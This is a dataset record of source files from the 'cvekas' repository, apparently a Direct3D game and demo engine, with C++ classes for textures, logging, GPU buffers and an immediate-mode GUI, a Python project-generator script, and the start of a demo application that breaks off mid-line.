"alpha_fraction": 0.7052919864654541, "alphanum_fraction": 0.7153284549713135, "avg_line_length": 21.869565963745117, "blob_id": "d7ccbf00a421e79ab2de71ded0e7ed04ed0869c2", "content_id": "89e102772abe75e6a2f558e66ed0c1bae15ae1a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1096, "license_type": "no_license", "max_line_length": 107, "num_lines": 46, "path": "/source/Texture2DManipulator.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TEXTURE2DMANIPULATOR_H\r\n#define TEXTURE2DMANIPULATOR_H\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"Texture2D.h\"\r\n#include \"Colors.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Allows to access individual pixels of Texture2D and manipulate them\r\nclass Texture2DManipulator : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param texture Pointer to texture\r\n\t/// \\param use_buffer If true, then additional buffer in system memory is used to do all reads and writes.\r\n\tTexture2DManipulator(Texture2DPtr texture, bool use_buffer = true);\r\n\t/// Destructor\r\n\tvirtual ~Texture2DManipulator();\r\n\r\n\t/// Sets pixel color.\r\n\tvoid setPixel(uint x, uint y, const Color& color);\r\n\t/// Returns pixel color.\r\n\tColor getPixel(uint x, uint y);\r\n\t/// Applies changes. After calling apply texture is ready to be used.\r\n\tvoid apply();\r\n\r\nprivate:\r\n\tvoid lock();\r\n\tvoid unlock();\r\n\r\n\tTexture2DPtr texture;\r\n\tbool use_buffer;\r\n\r\n\tLockedTexture locked;\r\n\tuint height, pitch;\r\n\r\n\tbyte* buffer;\r\n};\r\n\r\ntypedef boost::shared_ptr<Texture2DManipulator> Texture2DManipulatorPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.71334308385849, "alphanum_fraction": 0.7155424952507019, "avg_line_length": 25.31999969482422, "blob_id": "95928a5df593cef9551d08e149f8d2279904737a", "content_id": "b35f21106bf99afcd36d1ddcb1b7f694f7e645db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1364, "license_type": "no_license", "max_line_length": 109, "num_lines": 50, "path": "/source/Log.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef LOGGER_H\r\n#define LOGGER_H\r\n\r\nnamespace Cvekas {\r\n\r\n#define LOG(msg) (Log::log((msg), __FILE__, __LINE__))\r\n\r\n/// Interface for logging messages\r\nclass LogListener : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Called when Log attaches instance of LogListner\r\n\tvirtual void add() = 0;\r\n\r\n\t/// Called on deattaching of LogListener\r\n\tvirtual void remove() = 0;\r\n\r\n\t/// Called to send log message\r\n\tvirtual void sendMsg(const std::string& msg) = 0;\r\n};\r\n\r\ntypedef boost::shared_ptr<LogListener> LogListenerPtr;\r\n\r\n/// Manages LogListeners and provides a way to send information to them.\r\nclass Log\r\n{\r\npublic:\r\n\t/// Initializes logging. Must be called before any other Cvekas function\r\n\tstatic void init();\r\n\t\r\n\t/// Removes all listeners, clears internal arrays. The last function your program should call before exiting\r\n\tstatic void release();\r\n\r\n\t/// Logs message, notifies all registered listeners\r\n\tstatic void log(const std::string& msg, const std::string& file, int line);\r\n\r\n\t/// Registers new LogListener, calls LogListener::add()\r\n\tstatic void addListener(LogListenerPtr listener);\r\n\t\r\n\t/// Removes registered LogListeners, calls LogListener::remove()\r\n\tstatic void removeListener(LogListenerPtr listener);\r\n\r\nprivate:\r\n\tstatic std::vector<LogListenerPtr> listeners;\r\n\tstatic std::vector<LogListenerPtr>::iterator itr;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5928143858909607, "alphanum_fraction": 0.6093330383300781, "avg_line_length": 29.141935348510742, "blob_id": "eea84a257ff80a5d75b66442cdadb377094628d2", "content_id": "a6a36277f4272faa755f3a6e2ee1fa236ab34c46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4843, "license_type": "no_license", "max_line_length": 80, "num_lines": 155, "path": "/tools/new_project.py", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "import os, sys, re, binascii, random\r\n\r\ndef gen_guid():\r\n\tguid = ''\r\n\r\n\tfor i in range(16):\r\n\t\tguid += binascii.hexlify(chr(random.randint(0, 255))).upper()\r\n\tguid = guid[0:8] + '-' + guid[8:12] + '-' + guid[12:16] + '-' + \\\r\n\t\t\tguid[16:20] + '-' + guid[20:32]\r\n\treturn guid\r\n\r\ndef re_binary(expression, string):\r\n\treturn expression.search(string) != None\r\n\r\ndef str_match(m):\r\n\treturn m.string[m.start(0):m.end(0)] \r\n\r\ndef update_solution(name, type, guid, solution):\r\n\t# Find solution guid\r\n\tsolution_guid = ''\r\n\tlibrary_guid = ''\r\n\texpr_guid = re.compile('[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}')\r\n\tfor line in solution:\r\n\t\tresult = expr_guid.search(line)\r\n\t\tif result != None:\r\n\t\t\tsolution_guid = str_match(result)\r\n\t\t\tresult2 = expr_guid.search(line[result.end():])\r\n\t\t\tlibrary_guid = str_match(result2)\r\n\t\t\tbreak\t\r\n\t\t\t\r\n\texpr_end_project = re.compile('EndProject')\r\n\tlast_project_end_line = -1\r\n\tfor line in range(len(solution)):\r\n\t\tif re_binary(expr_end_project, solution[line]):\r\n\t\t\tlast_project_end_line = line\r\n\t\t\t\r\n\tlast_guid_line = -1\r\n\tfor line in range(len(solution)):\r\n\t\tif re_binary(expr_guid, solution[line]):\r\n\t\t\tlast_guid_line = line\r\n\r\n\tproject_path = 'samples\\\\' if type == 'sample' else\t'apps\\\\'\r\n\tproject_path += name + '\\\\' + name + '.vcproj'\r\n\r\n\tproject_desc = []\r\n\tproject_desc += ['Project(\"{' + solution_guid + '}\") = \"' + name + \\\r\n\t\t'\", \"' + project_path + '\", \"{' + guid + '}\"']\r\n\tproject_desc += ['\\tProjectSection(ProjectDependencies) = postProject']\r\n\tproject_desc += ['\\t\\t{' + library_guid + '} = {' + library_guid + '}']\r\n\tproject_desc += ['\\tEndProjectSection']\r\n\tproject_desc += ['EndProject']\r\n\tproject_desc = [line + '\\n' for line in project_desc] \r\n\r\n\t# Make this smarter with re search&replace\r\n\tproject_confs = []\r\n\tproject_confs += ['\\t\\t{' + guid + '}.Debug|Win32.ActiveCfg = Debug|Win32']\r\n\tproject_confs += ['\\t\\t{' + guid + '}.Debug|Win32.Build.0 = Debug|Win32']\r\n\tproject_confs += ['\\t\\t{' + guid + '}.Release|Win32.ActiveCfg = Release|Win32']\r\n\tproject_confs += ['\\t\\t{' + guid + '}.Release|Win32.Build.0 = Release|Win32']\r\n\tproject_confs = [line + '\\n' for line in project_confs]\r\n\r\n\treturn solution[0:last_project_end_line+1] + project_desc + \\\r\n\t\tsolution[last_project_end_line+1:last_guid_line+1] + \\\r\n\t\tproject_confs + solution[last_guid_line+1:]\r\n\r\ndef\tmake_project(name, guid, template):\r\n\tproject = ''\r\n\texpr_name = re.compile('Empty')\r\n\texpr_guid = re.compile('[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}')\r\n\tresult = expr_guid.search(template)\t\r\n\tproject = template.replace(str_match(result), guid)\r\n\tproject = project.replace('Empty', name)\r\n\r\n\treturn project\t\r\n\r\ndef make_cpp(name, template):\r\n\treturn template.replace('Empty', name).replace('empty', name.lower())\r\n\r\ndef make_dir(name, type):\r\n\tdir = 'samples\\\\' if type == 'sample' else 'apps\\\\'\r\n\tif os.access(dir + name, os.F_OK):\r\n\t\tos.chdir(dir + name)\r\n\t\treturn\r\n\tif os.access('..\\\\' + dir + name, os.F_OK):\r\n\t\tos.chdir('..\\\\' + dir + name)\r\n\t\treturn\r\n\ttry:\r\n\t\tos.mkdir(dir + name)\r\n\t\tos.chdir(dir + name)\r\n\texcept WindowsError:\r\n\t\tos.mkdir('..\\\\' + dir + name)\r\n\t\tos.chdir('..\\\\' + dir + name)\r\n\r\ndef find_files():\r\n\ttry:\r\n\t\tsolution = open('Cvekas.sln')\r\n\texcept IOError:\r\n\t\tsolution = open('..\\\\Cvekas.sln')\r\n\tsol = [line for line in solution]\r\n\tsolution.close()\r\n\r\n\ttry:\r\n\t\tproject_templ = open('samples\\\\Empty\\\\Empty.vcproj')\r\n\texcept IOError:\r\n\t\tproject_templ = open('..\\\\samples\\\\Empty\\\\Empty.vcproj')\r\n\tproj = [line for line in project_templ]\r\n\tproj = ''.join(proj)\r\n\tproject_templ.close()\r\n\r\n\ttry:\r\n\t\tcpp_templ = open('samples\\\\Empty\\\\Empty.cpp')\r\n\texcept IOError:\r\n\t\tcpp_templ = open('..\\\\samples\\\\Empty\\\\Empty.cpp')\r\n\tcpp = [line for line in cpp_templ]\r\n\tcpp = ''.join(cpp)\r\n\tcpp_templ.close()\r\n\r\n\treturn (sol, proj, cpp)\t\r\n\r\ndef write_new_files(name, guid, proj_templ, cpp_templ, do_cpp=True):\r\n\tproj = open(name + '.vcproj', 'w')\r\n\tproj.write(make_project(name, guid, proj_templ))\r\n\tproj.close()\r\n\r\n\tif do_cpp:\r\n\t\tcpp = open(name + '.cpp', 'w')\r\n\t\tcpp.write(make_cpp(name, cpp_templ))\r\n\t\tcpp.close()\t\r\n\r\ndef new_project(name, type, do_cpp=True):\r\n\tsolution, proj_templ, cpp_templ = find_files()\r\n\tguid = gen_guid()\r\n\r\n\tnew_solution = update_solution(name, type, guid, solution)\r\n\tif os.access('Cvekas.sln', os.R_OK):\r\n\t\tsol = open('Cvekas.sln', 'w')\r\n\telse:\r\n\t\tsol = open('..\\\\Cvekas.sln', 'w')\r\n\tsol.write(''.join(new_solution))\r\n\tsol.close()\r\n\r\n\tmake_dir(name, type)\r\n\twrite_new_files(name, guid, proj_templ, cpp_templ, do_cpp)\r\n\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) != 3 and len(sys.argv) != 4:\r\n\t\tprint 'Make new Cvekas project'\r\n\t\tprint 'Example:'\r\n\t\tprint 'tools\\\\new_project.py Name (sample|app) [nocpp]'\r\n\telse:\r\n\t\tdo_cpp = len(sys.argv) == 4 and sys.argv[3] == 'nocpp' \r\n\t\tdo_cpp = not do_cpp\r\n\t\tname = sys.argv[1]\r\n\t\ttype = sys.argv[2]\r\n\t\tnew_project(name, type, do_cpp)\r\n\t\r\n\t\t\t\r\n\t\t\t\r\n\t\r\n" }, { "alpha_fraction": 0.699009895324707, "alphanum_fraction": 0.7056105732917786, "avg_line_length": 27.173076629638672, "blob_id": "e3bcc4cc3ddc56062db52ba907fc81f3f27198d0", "content_id": "929ccc61aed906cf01b4de42ea9080ef0a4604de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1515, "license_type": "no_license", "max_line_length": 101, "num_lines": 52, "path": "/source/GpuBuffer.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef GPUBUFFER_H\r\n#define GPUBUFFER_H\r\n\r\n#include \"Resource.h\"\r\n#include \"CommonTypes.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// \\brief Base for IndexBuffer and VertexBuffer\r\n///\r\n/// Abstracts common functionality between index and vertex buffers.\r\n/// Doesn't do much now, acts mainly as helper for easy porting to D3D10, \r\n/// where index and vertex buffers have a lot in common.\r\nclass GpuBuffer : public Resource\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tGpuBuffer(ResourceId id, D3DDevicePtr device, const std::string& name, bool is_dynamic)\r\n\t\t: Resource(name, id), device(device), is_released(false), is_dynamic(is_dynamic) {};\r\n\r\n\t/// Destructor\r\n\tvirtual ~GpuBuffer() {}\r\n\r\n\t/// Is this buffer dynamic?\r\n\tbool isDynamic() const { return is_dynamic; }\r\n\t\r\n\t/// Returns size of buffer in bytes\r\n\tuint getSizeInBytes() const { return size_in_bytes; }\r\n\r\n\t/// Locks vertex buffer. Throws Exception if buffer is already locked.\r\n\t/// \\param read_only Pass true if no writing to locked buffer will be done, it improves performance.\r\n\tvirtual LockedBuffer lock(bool read_only) = 0;\r\n\t/// Unlocks locked buffer. Throws Exception if buffer is not locked.\r\n\tvirtual void unlock() = 0;\r\n\t/// Returns true if buffer is currently locked\r\n\tvirtual bool isLocked() const = 0;\r\n\r\n\tvirtual void onDeviceLost() = 0;\r\n\tvirtual void onDeviceReset() = 0;\r\n\r\nprotected:\r\n\tD3DDevicePtr device;\r\n\tuint size_in_bytes;\r\n\tbool is_released;\r\n\tconst bool is_dynamic;\r\n};\r\n\r\ntypedef boost::shared_ptr<GpuBuffer> GpuBufferPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7128099203109741, "alphanum_fraction": 0.7128099203109741, "avg_line_length": 15.925926208496094, "blob_id": "2a22e60fbaa7d662097b79671bfeccd4c58ef337", "content_id": "89ba767cca193bcb4243621467617f9860ab86ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 484, "license_type": "no_license", "max_line_length": 68, "num_lines": 27, "path": "/source/ConsoleLogListener.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef CONSOLELOGGER_H\r\n#define CONSOLELOGGER_H\r\n\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Implementation of Logger for showing log in console.\r\nclass ConsoleLogListener: public LogListener\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tConsoleLogListener();\r\n\r\n\tvirtual void add();\r\n\tvirtual void remove();\r\n\tvirtual void sendMsg(const std::string& msg);\r\n\r\nprivate:\r\n\tHANDLE h_stdout;\r\n};\r\n\r\ntypedef boost::shared_ptr<ConsoleLogListener> ConsoleLogListenerPtr;\r\n\r\n} // namespace\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.6602216362953186, "alphanum_fraction": 0.6781419515609741, "avg_line_length": 22.234285354614258, "blob_id": "3015b6fea962bd4824b20cc5bbec313b60d0fc22", "content_id": "b4d7e3528920ef0375e6f25d600bb8a5372e780f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4241, "license_type": "no_license", "max_line_length": 121, "num_lines": 175, "path": "/source/Texture2D.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Texture2D.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"MemUtils.h\"\r\n#include \"ErrorHandlers.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nTexture2D::Texture2D(ResourceId id, D3DDevicePtr device, const std::string& name, const std::string& filename,\r\n\tD3DFORMAT format, bool pow_of2, bool lockable, bool gen_mipmaps)\r\n\t: \r\nBaseTexture(id, device, name, format), \r\nfilename(filename)\r\n{\t\r\n\twidth = height = pow_of2 ? D3DX_DEFAULT : D3DX_DEFAULT_NONPOW2;\r\n\tmipmaps = gen_mipmaps ? D3DX_DEFAULT : 1;\r\n\tusage = 0;\r\n\tis_lockable = true;\r\n\tis_locked = false;\r\n\tis_ready = false;\r\n\tis_dynamic = false;\r\n\tload();\r\n}\r\n\r\nTexture2D::Texture2D(ResourceId id, D3DDevicePtr device, const std::string& name, uint width, \r\n\tuint height, D3DFORMAT format, bool gen_mipmaps, bool dynamic)\r\n\t: \r\nBaseTexture(id, device, name, format), \r\nfilename(\"\")\r\n{\t\r\n\tif(dynamic && gen_mipmaps)\r\n\t\tthrow EXCEPTION(\"Mipmapped dynamic textures in unsupported\");\r\n\r\n\tthis->width = width;\r\n\tthis->height = height;\r\n\tmipmaps = gen_mipmaps ? D3DX_DEFAULT : 1;\r\n\tusage = dynamic ? D3DUSAGE_DYNAMIC : 0;\r\n\tis_lockable = true;\r\n\tis_locked = false;\r\n\tis_ready = false;\r\n\tis_dynamic = dynamic;\r\n\tcreate();\r\n}\r\n\r\nTexture2D::~Texture2D()\r\n{\r\n\t// Releasing is handled by BaseTexture\r\n\tif(!is_released)\r\n\t\tLOG(FORMAT(\"Texture %s released\", % name));\r\n}\r\n\r\nbool Texture2D::isLockable() const\r\n{\r\n\treturn is_lockable;\r\n}\r\n\r\nbool Texture2D::isLocked() const\r\n{\r\n\treturn is_locked;\r\n}\r\n\r\nbool Texture2D::isDynamic() const\r\n{\r\n\treturn is_dynamic;\r\n}\r\n\r\nLockedTexture Texture2D::lock(bool read_only)\r\n{\r\n\tif(!is_lockable)\r\n\t\tthrow EXCEPTION(\"Texture is not lockable!\");\r\n\tif(is_locked)\r\n\t\tthrow EXCEPTION(\"Texture is already locked!\");\r\n\t\r\n\tis_locked = true;\r\n\t\r\n\tIDirect3DTexture9* temp_texture = static_cast<IDirect3DTexture9*>(texture);\r\n\tD3DLOCKED_RECT locked_rect;\r\n\tDWORD mode;\r\n\tif(is_dynamic)\r\n\t\tmode = D3DLOCK_DISCARD;\r\n\telse\r\n\t\tmode = read_only ? D3DLOCK_READONLY : NULL;\r\n\r\n\tE_E(temp_texture->LockRect(0, &locked_rect, NULL, mode));\r\n\tLockedTexture locked;\r\n\tlocked.pitch = locked_rect.Pitch;\r\n\tlocked.data = locked_rect.pBits;\r\n\treturn locked;\r\n}\r\n\r\nvoid Texture2D::unlock()\r\n{\r\n\tif(!is_lockable)\r\n\t\tthrow EXCEPTION(\"Texture is not lockable!\");\r\n\tif(!is_locked)\r\n\t\tthrow EXCEPTION(\"Texture is not locked!\");\r\n\r\n\tIDirect3DTexture9* temp_texture = static_cast<IDirect3DTexture9*>(texture);\r\n\tE_E(temp_texture->UnlockRect(0));\r\n\tis_locked = false;\r\n}\r\n\r\nconst std::string& Texture2D::getFilename() const\r\n{\r\n\treturn filename;\r\n}\r\n\r\nvoid Texture2D::load()\r\n{\r\n\tIDirect3DTexture9* temp_texture = static_cast<IDirect3DTexture9*>(texture);\r\n\r\n\tD3DXIMAGE_INFO img_info;\r\n\tE_E(D3DXGetImageInfoFromFile(filename.c_str(), &img_info));\r\n\t\r\n\t// All non-DDS file formats are loaded as A8R8G8B8\r\n\tif(img_info.ImageFileFormat != D3DXIFF_DDS)\r\n\t\tformat = D3DFMT_A8R8G8B8;\r\n\t\r\n\tLOG(FORMAT(\"Loading texture %s from %s\", % name % filename));\r\n\tE_E(D3DXCreateTextureFromFileEx(device.get(), filename.c_str(), width, height, mipmaps, usage, format, D3DPOOL_MANAGED, \r\n\t\tD3DX_DEFAULT, D3DX_DEFAULT, 0, NULL, NULL, &temp_texture ));\r\n\tE_E(temp_texture->GetLevelDesc(0, &description));\r\n\t\r\n\t// We might get other format than we asked for\r\n\tformat = description.Format;\r\n\t\r\n\ttexture = temp_texture;\r\n\tis_ready = true;\r\n\tis_released = false;\r\n}\r\n\r\nvoid Texture2D::create()\r\n{\r\n\tIDirect3DTexture9* temp_texture = static_cast<IDirect3DTexture9*>(texture);\r\n\t\r\n\tLOG(FORMAT(\"Creating texture %s\", % name));\r\n\tE_E(D3DXCreateTexture(device.get(), width, height, mipmaps, usage, format, \r\n\t\t(is_dynamic ? D3DPOOL_DEFAULT : D3DPOOL_MANAGED), &temp_texture));\r\n\tE_E(temp_texture->GetLevelDesc(0, &description));\r\n\t\r\n\t// We might get other format than we asked for\r\n\tformat = description.Format;\r\n\t\r\n\ttexture = temp_texture;\r\n\tis_ready = true;\r\n\tis_released = false;\r\n}\r\n\r\nvoid Texture2D::onDeviceLost()\r\n{\r\n\t// Only dynamic textures must be released on device lost\r\n\tif(is_dynamic && !is_released)\r\n\t{\r\n\t\tLOG(FORMAT(\"Releasing dynamic texture %s\", % name));\r\n\t\tsafeRelease(texture);\r\n\t\tis_released = true;\r\n\t}\r\n\r\n\tis_ready = false;\r\n}\r\n\r\nvoid Texture2D::onDeviceReset()\r\n{\r\n\tif(is_dynamic && is_released)\r\n\t{\r\n\t\tcreate();\r\n\t\tis_released = false;\r\n\t}\r\n\r\n\tis_ready = true;\r\n}\r\n\r\n} //namespace\r\n" }, { "alpha_fraction": 0.6948924660682678, "alphanum_fraction": 0.6975806355476379, "avg_line_length": 18.16216278076172, "blob_id": "733cc0e9aba5cc53c2bb954c373fdea0ac26a191", "content_id": "369a7f07a767dcd1e20ee2e0c7db54e7e097a9f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 744, "license_type": "no_license", "max_line_length": 66, "num_lines": 37, "path": "/source/EffectManager.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef EFFECT_MANAGER_H\r\n#define EFFECT_MANAGER_H\r\n\r\n#include \"ResourceManager.h\"\r\n#include \"Effect.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Manages effects\r\nclass EffectManager : public ResourceManager<EffectPtr>\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tEffectManager(D3DDevicePtr device);\r\n\r\n\t/// Destructor\r\n\t~EffectManager();\r\n\r\n\t/// Loads effect from file and compiles it.\r\n\t/// \\param name %Effect name\r\n\t/// \\param file File with effect description\r\n\tEffectPtr load(const std::string& name, const std::string& file);\r\n\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceReset();\r\n\r\nprivate:\r\n\tD3DDevicePtr device;\r\n};\r\n\r\ntypedef boost::shared_ptr<EffectManager> EffectManagerPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6905466914176941, "alphanum_fraction": 0.7017959356307983, "avg_line_length": 29.681249618530273, "blob_id": "ecf2d4c357540ba6db0c0f859499eb8217d9df5b", "content_id": "6b9000a589a7cf66c9ba5cd27d79ed7cd8bd94d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5067, "license_type": "no_license", "max_line_length": 108, "num_lines": 160, "path": "/source/GUI.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef GUI_H\r\n#define GUI_H\r\n\r\n#include \"Vector2.h\"\r\n#include \"Colors.h\"\r\n#include \"Input.h\"\r\n#include \"StaticHashMap.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Determines how GUI elements are rendered and keeps rendering state\r\nclass GUIStyle : public boost::noncopyable \r\n{\r\npublic:\r\n\t/// Constructor\r\n\tGUIStyle() {}\r\n\t/// Destructor\r\n\tvirtual ~GUIStyle() {}\r\n\r\n\t/// Sets new mouse position\r\n\tvoid setMousePos(const Vector2& mouse_pos) { this->mouse_pos = mouse_pos; }\r\n\r\n\t/// Returns true if mouse is inside button\r\n\tvirtual bool hitButton(const Vector2& pos, const std::string& text) = 0;\r\n\t/// Returns true if mouse is inside switch\r\n\tvirtual bool hitSwitch(const Vector2& pos, const std::string& text) = 0;\r\n\t/// Returns -1 if mouse is outside slider and value between 0 and 1 otherwise\r\n\tvirtual float hitSlider(const Vector2& pos) = 0;\r\n\t/// Returns true if mouse is inside selector. \r\n\t/// Also Sets button to 1 if mouse is inside prev button, 2 if next, 0 otherwise.\r\n\tvirtual bool hitSelector(const Vector2& pos, const std::vector<std::string>& selections, uint& button) = 0;\r\n\r\n\t/// Draws text label\r\n\tvirtual void drawLabel(const Vector2& pos, const std::string& text) = 0;\r\n\t/// Draws button\r\n\tvirtual void drawButton(const Vector2& pos, const std::string& text, bool mouse_over, bool pressed) = 0;\r\n\t/// Draws switch\r\n\tvirtual void drawSwitch(const Vector2& pos, const std::string& text, bool mouse_over, bool state) = 0;\r\n\t/// Draws slider\r\n\tvirtual void drawSlider(const Vector2& pos, bool mouse_over, float state) = 0;\r\n\t/// Draws selector\r\n\tvirtual void drawSelector(const Vector2& pos, const std::vector<std::string>& selections, uint item, \r\n\t\tbool mouse_over, bool mouse_over_prev, bool mouse_over_next, bool pressed) = 0;\r\n\r\n\t/// Does what is neccessary to finish drawing current frame\r\n\tvirtual void endFrame() = 0;\r\n\r\nprotected:\r\n\tVector2 mouse_pos;\r\n};\r\n\r\ntypedef boost::shared_ptr<GUIStyle> GUIStylePtr;\r\n\r\n/// Graphical user interface\r\nclass GUI : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Enmeration of all widget types\r\n\tenum WidgetType\r\n\t{\r\n\t\tWIDGET_LABEL,\r\n\t\tWIDGET_BUTTON,\r\n\t\tWIDGET_SWITCH,\r\n\t\tWIDGET_SLIDER,\r\n\t\tWIDGET_SELECTOR\r\n\t};\r\n\r\n\t/// Constructor\r\n\t/// \\param gui_style GUIStyle to use for drawing gui\r\n\t/// \\param input Input information provider\r\n\tGUI(GUIStylePtr gui_style, InputPtr input);\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~GUI();\r\n\r\n\t/// Draws text label\r\n\t/// \\param pos Coordinates of topleft corner of text\r\n\t/// \\param text Text to draw\r\n\tvoid doLabel(const Vector2& pos, const std::string& text);\r\n\t\r\n\t/// Draws interactive button\r\n\t/// \\param pos Coordinates of topleft corner of button\r\n\t/// \\param text Text to draw in button\r\n\t/// \\returns true if button was pressed on this frame\r\n\tbool doButton(const Vector2& pos, const std::string& text);\r\n\t\r\n\t/// Draws interactive switch (button with 2 states)\r\n\t/// \\param pos Coordinates of topleft corner of switch\r\n\t/// \\param text Text to draw in switch\r\n\t/// \\returns true if switch is currently in 'on' state\r\n\tbool doSwitch(const Vector2& pos, const std::string& text);\r\n\t\r\n\t/// Draws interactive slider widget\r\n\t/// \\param pos Coordinates of topleft corner of slider\r\n\t/// \\returns Slider position in range [0.0, 1.0)\r\n\tfloat doSlider(const Vector2& pos);\r\n\r\n\t/// Draws interactive selector widget\r\n\t/// \\param pos Coordinates of topleft corner of selector\r\n\t/// \\param selections Selection values\r\n\t/// \\returns Index of selection\r\n\tuint doSelector(const Vector2& pos, const std::vector<std::string>& selections);\r\n\r\n\t/// Returns state of switch at specified coordinates\r\n\tbool getSwitchState(const Vector2& pos);\r\n\t/// Returns state of slider at specified coordinates\r\n\tfloat getSliderState(const Vector2& pos);\r\n\t/// Returns state of selector at specified coordinates\r\n\tuint getSelectorState(const Vector2& pos);\r\n\r\n\t/// Modifies switch state\r\n\tvoid setSwitchState(const Vector2& pos, bool state);\r\n\t/// Modifies slider state\r\n\tvoid setSliderState(const Vector2& pos, float state);\r\n\t/// Modifies selector state\r\n\tvoid setSelectorState(const Vector2& pos, uint state);\r\n\r\n\t/// Must be called once per frame, invokes GUIStyle::endFrame()\r\n\tvoid present();\r\n\r\n\t/// Returns hash code for widget. For internal use.\r\n\tstatic uint hashWidget(WidgetType type, const Vector2& pos);\r\n\r\n\t/// Widgets hash map size. \r\n\t/// Utilizing less than 75% of it is OK, so maximum of about 190 unique widgets can used.\r\n\tstatic const uint cache_size = 256;\r\n\r\nprivate:\r\n\tunion WidgetState\r\n\t{\r\n\t\tbool switch_state;\r\n\t\tfloat slider_state;\r\n\t\tuint selector_state;\r\n\t};\r\n\r\n\tvoid beginWidget();\r\n\r\n\tGUIStylePtr gui_style;\r\n\tInputPtr input;\r\n\r\n\tbool presented;\r\n\tStaticHashMap<WidgetState, uint, cache_size> cache;\r\n};\r\n\r\ntypedef boost::shared_ptr<GUI> GUIPtr;\r\n\r\n/// Converts arbitrary float to slider range [0.0, 1.0]\r\ninline float toSliderRange(float a, float min, float max)\r\n{\r\n\treturn (a - min) / (max - min);\r\n}\r\n/// Converts float from slider range to arbitrary one\r\ninline float fromSliderRange(float a, float min, float max)\r\n{\r\n\treturn min + a * (max - min);\r\n}\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6529091596603394, "alphanum_fraction": 0.670106053352356, "avg_line_length": 23.100719451904297, "blob_id": "5d4f4393752e345de042016238750a7cc6dff050", "content_id": "98ce443979ab2427bd4ca5c852a969b8a949a09f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3489, "license_type": "no_license", "max_line_length": 106, "num_lines": 139, "path": "/apps/Celerity/Celerity.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n\r\n#include \"VectorBatch.h\"\r\n#include \"SpriteBatch.h\"\r\n\r\n#include \"Demo.h\"\r\n\r\n#include \"Textgen.h\"\r\n#include \"Ribbons.h\"\r\n#include \"Markov.h\"\r\n#include \"Snowflake.h\"\r\n\r\n#include \"DisplayModeDialog.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nconst float width = 1024.0f;\r\nconst float height = 576.0f;\r\n\r\nclass Celerity: public Application\r\n{\r\npublic:\r\n\tCelerity(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t}\r\n\r\n\tvirtual ~Celerity()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tDeviceCapsPtr caps = video_device->getCaps(D3DDEVTYPE_HAL);\r\n\t\tif(caps->getPSVersion() < DeviceCaps::ps2_0 || caps->getVSVersion() < DeviceCaps::vs2_0)\r\n\t\t{\r\n\t\t\tMessageBox(NULL, \"Your graphics card sucks.\", \"ERROR\", MB_OK);\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\t\tVideoSettings& video_settings = static_cast<VideoSettings&>((*settings)[\"video\"]);\r\n\r\n\t\ttextgenInit();\r\n\t\t\r\n\t\tif(!showDisplaymodeDialog(video_device->getModes(), video_settings))\r\n\t\t\treturn;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, 